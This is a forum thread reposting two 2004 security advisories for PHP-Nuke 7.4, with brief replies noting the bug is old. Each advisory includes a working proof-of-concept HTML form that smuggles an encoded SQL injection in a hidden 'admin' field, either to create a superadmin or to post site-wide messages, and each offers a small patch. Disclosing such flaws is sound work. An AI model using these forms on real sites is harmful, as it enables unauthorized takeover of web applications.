Waraxe IT Security Portal

Ruco · Beginner

**************************************************************
* CODEBUG Labs
* Advisory #1
* Title: AddAdmin Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

Remote Privilege Escalation

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit attacker to gain Admin access
to the system.
The bug is very old but we can bypass the patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
<p>USERNAME:
<input type="text" name="add_aid">
<br>
NOME:
<input type="text" name="add_name">
<br>
PASSWORD:
<input type="text" name="add_pwd">
<br>
E-MAIL:
<input type="text" name="add_email">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="AddAuthor">
</p>
<p>
<input type="submit" name="Submit" value="Create Admin">
<br>
</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

Ruco · Beginner

---------------------------------------------------------------------
6/9/2004 - [XSS] PHP-Nuke 7.4 Add Message Bug by Mantra

**************************************************************
* CODEBUG Labs
* Advisory #4
* Title: Addmsg Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
**************************************************************

Add Message Bug

- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to post gloabal home-page messages.
We can bypass the official php-nuke patch sending data
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
<p>TITLE:
<input type="text" name="add_title">
<br>
CONTENT:
<textarea name="add_content" rows=10 cols=50></textarea>
<br>
DATE:
<input type="text" name="add_mdate">
<br>
E-MAIL:
<input type="text" name="add_expire">
<br>
<input type="hidden" name="add_expire" value="0">
<br>
<input type="hidden" name="add_active" value="1">
<br>
<input type="hidden" name="add_view" value="1">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="addmsg">
</p>
<p>
<input type="submit" name="Submit" value="Post this message">
<br>
</p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

if ( !empty($HTTP_POST_VARS['admin']) ) {
die("Shit! Mantra wins =)");
}

-) Note
Previous patch isn't enough performant.
Try this one.
There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[admin] and $_GET[admin].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

Tora · Regular user

Hi

i think this exploit is very old....?

http://www.waraxe.us/?modname=sa&id=018

hebe · Advanced user

for 1.5 mounths

LINUX · Moderator

yeah is old Sad